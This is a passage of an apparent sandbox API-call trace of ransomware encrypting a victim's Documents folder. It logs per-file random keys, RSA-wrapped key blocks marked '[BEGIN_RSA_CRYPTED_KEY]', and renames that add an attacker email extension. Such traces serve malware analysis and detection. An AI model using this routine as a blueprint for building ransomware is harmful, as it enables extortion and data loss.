pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.321] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="U3GgAm08ZiB5s5Cpk8hHo27LqOurrsyt8rQJGZBuakEitqFyIJ1IgaugyAzvx/D9\nDSoByis9OduA99oU6EQhCHjetQxK/bJwfOd+PWb0YwUOAs+9kOoC4rAwZf4ohR59\neQ9o9/MtvOz73iWge/1bB9ZBsZFM/b4zWMqyYMyHcGNf6rGI2eJ400qqc8FR3MWW\na/yT0ov+ULp71FunsQG37YszfqOEPwL4GwH1ONqNPqsvIqVA0sBQhVC9FAFpvxPJ\ni2wq+NRRcoDPb/UiJ6E84Y4MbeOymBunKB68QZOQDI47Pyg3isqeoTmWqKpc7DCl\nGqaljwHfdMAB11eIPtKDLg==\n", pcchString=0x2e3f9a8) returned 1 [0147.321] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.321] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.323] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.323] CloseHandle (hObject=0x5e8) returned 1 [0147.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.323] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\Aimu 7oplbqknXDg_c-Y.docx" (normalized: "c:\\users\\fd1hvy\\documents\\aimu 7oplbqknxdg_c-y.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\Aimu 7oplbqknXDg_c-Y.docx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\aimu 7oplbqknxdg_c-y.docx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0147.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0147.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0147.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0147.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0147.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.612] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.612] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\A6qm.xls", dwFileAttributes=0x80) returned 1 [0147.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0147.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0147.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0147.613] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\A6qm.xls" (normalized: "c:\\users\\fd1hvy\\documents\\a6qm.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.613] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=87047) returned 1 [0147.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15407) returned 0x631898 [0147.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15407) returned 0x646ca8 [0147.613] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x15407, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x15407, lpOverlapped=0x0) returned 1 [0147.616] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-87047, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.616] WriteFile (in: hFile=0x5e8, lpBuffer=0x646ca8*, nNumberOfBytesToWrite=0x15407, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x646ca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15407, lpOverlapped=0x0) returned 1 [0147.616] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.620] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x646ca8 | out: hHeap=0x570000) returned 1 [0147.620] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15407 [0147.621] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.621] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.621] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.621] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.622] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.622] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.622] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="0RRkhUNjcFlPDZmf54E0Rkc6n1R6Jp6zqHIV8mqC6Fu9x11SI4QBhXUlDR1zf604\nB53eqpy+DOBW14IokMbrPtJA6rUoUg80wV1/mMX582C26ppEz2NfgPYv+FeR2Pti\nxLSjDkprSa2nGhv1PqGbvDx2a1akT2/xoUoRGOqNpSVqOmfkfkBb4k7NtyxBbNz8\nKJvh4+753CvsmGGsmhOaH2ryC++v78XU2lNQOrVmJGuULSjTzdMM9XDhIYKKOlFT\n97pRnD0G4Nfmm1wJhm2feMeoOKEPr9hWxxyPVPLEHyXhHtfW+em0u2lpHgdWWyPE\nj953B/5FkJtB7WOsISXbsA==\n", pcchString=0x2e3f9a8) returned 1 [0147.622] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.622] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.622] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.622] CloseHandle (hObject=0x5e8) returned 1 [0147.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.623] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\A6qm.xls" (normalized: "c:\\users\\fd1hvy\\documents\\a6qm.xls"), lpNewFileName="\\Users\\FD1HVy\\Documents\\A6qm.xls.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\a6qm.xls.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0147.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0147.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0147.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.624] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.624] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\9RbroTWMr4.docx", dwFileAttributes=0x80) returned 1 [0147.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0147.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0147.625] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\9RbroTWMr4.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9rbrotwmr4.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.625] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=26239) returned 1 [0147.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x667f) returned 0x631898 [0147.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x667f) returned 0x637f20 [0147.625] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x667f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x667f, lpOverlapped=0x0) returned 1 [0147.626] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-26239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.627] WriteFile (in: hFile=0x5e8, lpBuffer=0x637f20*, nNumberOfBytesToWrite=0x667f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x637f20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x667f, lpOverlapped=0x0) returned 1 [0147.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x637f20 | out: hHeap=0x570000) returned 1 [0147.627] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x667f [0147.627] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.627] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.627] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.628] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="MZmref0dPKXBG0GhMKF36AQIlbE7/W0d+sExLsz419z7iOaRi9yyhbU33ljELFwx\nQZ3Rjg0NwRyzVlP49bS0AfGhQ/COvYrhHyVpKV6nxq6rrHbhRB3hEW6V9F670hxf\nWH5izGdDPKlDI8qNEveQsnDTn+w1IXFO+86pOp4Zy5j6c6rgiiiDc1LlPN9iLQih\nkORGRtOYDyqQ5CkXWvxhaY+HXuy7dHPcLVLvojO5l4TNdpgxsOvBlusWn8TK7K6Z\n7T/3XedkIgI6xm+1/lPuBwT4+6wPsKN6JjPN/Tg+ud7/LYm108Zm0ZCn0hKiSnBB\n8ShhAU5aOIlFWLQX+5HYgA==\n", pcchString=0x2e3f9a8) returned 1 [0147.628] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.628] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.628] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.628] CloseHandle (hObject=0x5e8) returned 1 [0147.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.628] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\9RbroTWMr4.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9rbrotwmr4.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\9RbroTWMr4.docx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\9rbrotwmr4.docx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0147.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0147.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0147.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.630] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.630] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\7ev7dtTf0pjP8.docx", dwFileAttributes=0x80) returned 1 [0147.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0147.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0147.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0147.630] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\7ev7dtTf0pjP8.docx" (normalized: "c:\\users\\fd1hvy\\documents\\7ev7dttf0pjp8.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.630] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=66115) returned 1 [0147.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10243) returned 0x631898 [0147.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10243) returned 0x641ae8 [0147.631] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x10243, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x10243, lpOverlapped=0x0) returned 1 [0147.632] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-66115, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.632] WriteFile (in: hFile=0x5e8, lpBuffer=0x641ae8*, nNumberOfBytesToWrite=0x10243, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x641ae8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10243, lpOverlapped=0x0) returned 1 [0147.633] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.633] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x641ae8 | out: hHeap=0x570000) returned 1 [0147.633] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10243 [0147.633] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.633] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.633] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.633] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.634] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.634] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.634] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="9nC6KCDvuNQfFW3g8H2i9nZ5Vy4aHRXeV5pILCKWE//RqEdBgV+Pw/KvjabzUkKx\nZ5bi4Q5jrchMheDpRaG0+kStYj9rzK+VU918uNVC18qPemSUUvog9c9AExIm6Cy5\nebF3wh8waml1jqlvvrIqkZv2KS/DTFRMUovqq7/pkWhTkwMCzSZgtZ+QRGzNlBSY\nd8/ocNSQPv8UQh4c+p0eztQXAujLPQc8wh8GQAHQbuHZLPQ95YFOsYA1NAZcAdmv\nECsqOHl32eKUiOeauFu+H0iMNjgaA9PcgZwO2BaT2KmXOntxiAIJdQadRqukpaKl\nLLCupNuDpfgSsSW7sExboQ==\n", pcchString=0x2e3f9a8) returned 1 [0147.634] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.634] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.634] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.634] CloseHandle (hObject=0x5e8) returned 1 [0147.635] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.635] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\7ev7dtTf0pjP8.docx" (normalized: "c:\\users\\fd1hvy\\documents\\7ev7dttf0pjp8.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\7ev7dtTf0pjP8.docx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\7ev7dttf0pjp8.docx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0147.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0147.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0147.652] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0147.652] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.652] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.652] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\1xl5-3NM9-VoJ7UoNhJ.docx", dwFileAttributes=0x80) returned 1 [0147.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0147.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0147.653] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0147.653] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\1xl5-3NM9-VoJ7UoNhJ.docx" (normalized: "c:\\users\\fd1hvy\\documents\\1xl5-3nm9-voj7uonhj.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.653] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=62277) returned 1 [0147.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf345) returned 0x631898 [0147.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf345) returned 0x640be8 [0147.653] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0xf345, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xf345, lpOverlapped=0x0) returned 1 [0147.656] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-62277, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.656] WriteFile (in: hFile=0x5e8, lpBuffer=0x640be8*, nNumberOfBytesToWrite=0xf345, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x640be8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf345, lpOverlapped=0x0) returned 1 [0147.656] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.656] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x640be8 | out: hHeap=0x570000) returned 1 [0147.656] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf345 [0147.657] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.657] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.657] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.657] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.658] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.658] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.658] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="lOPfl+FbSqklDrCR6G7SK10FawNiYdcIGPIcAZLaG+pBIEfkIoc8FzpOiCpUWN3H\nZOzZT7/JEcMy+lbmQ1kOzT5OmYUM30NzHSUXPV/00ojN/VnXVbfZ55jaxKSLZ++a\nNrGQMP3gE4bL/0Hs6o98hmws4XECuwTg6IzhitPyjGeGsQFN0x3Dwhk+G7xrEHpk\nOaH8DCBoqnRoNm1j5cDBRoSS0N3X/MbXpovXXOJFI7tDoHmwJrfb6JGPkhUsbPmb\n5aDE+TnlS2oKYrYBTmRzIDW25Q4qL9o9RF6Q0y/mGNtgLwoWUSlZC/hoZvr5fBeQ\nZJRHoeESK0iSqxZiV4ssmQ==\n", pcchString=0x2e3f9a8) returned 1 [0147.658] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.658] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.658] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.658] CloseHandle (hObject=0x5e8) returned 1 [0147.658] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.658] MoveFileExW 